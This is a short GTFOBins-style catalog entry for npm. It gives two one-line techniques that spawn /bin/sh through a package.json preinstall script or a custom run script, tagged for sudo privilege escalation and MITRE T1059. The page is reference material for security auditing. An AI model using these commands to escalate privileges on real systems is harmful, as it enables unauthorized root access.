Catalog GTFOBins

GTFO · Tool

npm

6 techniques LinuxGTFOBins GPL-3.0
shell
ExecutionPrivilege Escalation Linux
echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json
npm -C . i
Context
sudo
Native
shell
MITRE
T1059
shell
ExecutionPrivilege Escalation Linux
echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json
npm -C . run xxx
Context
sudo
Native
shell
MITRE
T1059